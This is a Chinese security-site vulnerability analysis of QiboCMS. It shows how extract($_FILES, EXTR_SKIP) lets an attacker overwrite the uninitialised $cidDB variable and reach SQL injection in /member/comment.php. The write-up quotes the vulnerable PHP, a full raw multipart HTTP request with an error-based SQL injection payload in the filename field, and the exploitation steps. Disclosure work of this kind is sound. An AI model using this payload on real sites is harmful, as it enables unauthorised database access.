频道栏目
首页 > 安全 > 网站安全 > 正文
齐博CMS变量覆盖导致sql注入漏洞分析报告
2015-03-19 10:09:59           
收藏   我要投稿

近期阿里巴巴安全研究实验室的漏洞监测系统监测到齐博cms存在高危漏洞,可导致SQL漏洞进而影响服务器安全等。

监测系统监测到可能存在变量覆盖漏洞的地方,如下:

0x01 分析

通过监测系统大概推测,修补了由$_FILES引起的变量覆盖漏洞。漏洞文件在/inc/common.inc.php。
文件使用@extract($_FILES,EXTR_SKIP)来注册$_FILES的各变量,使用EXTR_SKIP来控制不覆盖已存在的变量。因此,我们需要利用该变量覆盖漏洞,只需要寻找一个末初始化的变量就行。
全局变量文件对GPC变量的过滤:

$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
function Add_S($array){
      foreach($array as $key=>$value){
            @eregi("['\\\"&]+",$key) && die('ERROR KEY!');
            if(!is_array($value)){               
                  $value=str_replace("&#x","& # x",$value);    //过滤一些不安全字符
                  $value=preg_replace("/eval/i","eva l",$value);    //过滤不安全函数
                  !get_magic_quotes_gpc() && $value=addslashes($value);
                  $array[$key]=$value;
            }else{
                  $array[$key]=Add_S($array[$key]);
            }
      }
      return $array;
}

由上可知,通过$_FILE传的值,POST的内容受GPC影响,因此只能利用$_FILE变量的$key绕过add_S函数。这里,$_FILS在传递参数时,是数组形式,因此可以默认使用$_FILES的$key去覆盖。

因此,我们只需要找一个末初始化的数组,并通过取数值值的点进入SQL注入。
这里以任意一个点作为例子:/member/comment.php。

if($job=='del'){
      foreach( $cidDB AS $key=>$value){
            var_dump($mei);
            $rs=$db->get_one("SELECT aid FROM {$pre}comment WHERE cid='$value'");
            $erp=get_id_table($rs[aid]);
            
 $rsdb=$db->get_one("SELECT C.cid,C.uid AS 
commentuid,C.aid,A.uid,A.fid FROM {$pre}comment C LEFT JOIN 
{$pre}article$erp A ON C.aid=A.aid WHERE C.cid='$value'");
       if($rsdb[uid]==$lfjuid||$rsdb[commentuid]==$lfjuid||$web_admin||in_array($rsdb[fid],$fiddb)){
                  $db->query("DELETE FROM {$pre}comment WHERE cid='$rsdb[cid]'");
            }
            $db->query("UPDATE {$pre}article$erp SET comments=comments-1 WHERE aid='$rsdb[aid]'");
      }
      refreshto("$FROMURL","删除成功",0);
}

$cidDB变量末初始化. $value的值直接带入查询,导致sql注入。

0x02 利用

构造$_FILE的变量覆盖构造覆盖$cidDB变量,POST给/member/comment.php。
最终:

利用步骤如下:

 

(1)首先访问/member下面的“评论管理”功能,抓包

 

(2)在http request中构造一个attachment,如下:

 

POST /qibo/member/comment.php?job=yz&yz=0 HTTP/1.1  
Host: 127.0.0.1  
Proxy-Connection: keep-alive  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 SE 2.X MetaSr 1.0  
Referer: https://127.0.0.1/qibo/member/comment.php?job=work  
Accept-Encoding: gzip,deflate,sdch  
Accept-Language: zh-CN,zh;q=0.8  
Cookie: PHPSESSID=jo9rpav7l51iakidv01vr9fem1;   
passport=1%09admin%09ClAKVgsEBglUAwcFUgRTDgRRCF9XUAZXBAcAVQIHBlc%3D94606de1fd; USR=fvqnvbj3%0922%091425969668%09http%3A%2F%2F127.0.0.1%2Fqibo%2Fmember%2Fcomment.php%3Fjob%3Dwork  
Content-Type: multipart/form-data;   
boundary=----WebKitFormBoundary6ukpBHoIrpHKtOkl  
Content-Length: 227  
   
------WebKitFormBoundary6ukpBHoIrpHKtOkl  
Content-Disposition: form-data; name="cidDB"; filename="1' and EXP(~(select * from(select user())a)) -- "  
Content-Type: text/plain  
   
1111  
------WebKitFormBoundary6ukpBHoIrpHKtOkl--

注意将原来的URL上的cidDB[]=x删除掉;

 

然后构造一个文件上传的报文(GET改为POST方法);

 

在filename处填入注入的payload。

 

(3)提交该数据包,即可注入成功。

 

目测是全版本通杀的,这次的变量覆盖是抓住了extract的EXTR_SKIP只检查已经存在的变量,但是有些没有声明的变量还是会被覆盖。

0x03 修复

齐博官方已发布补丁,请尽快修复漏洞。

点击复制链接 与好友分享!回本站首页
上一篇:云购Cms修复不当仍存在Sql注入
下一篇:亦真亦假:技术剖析WordPress黑帽SEO插件
相关文章
图文推荐
点击排行

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站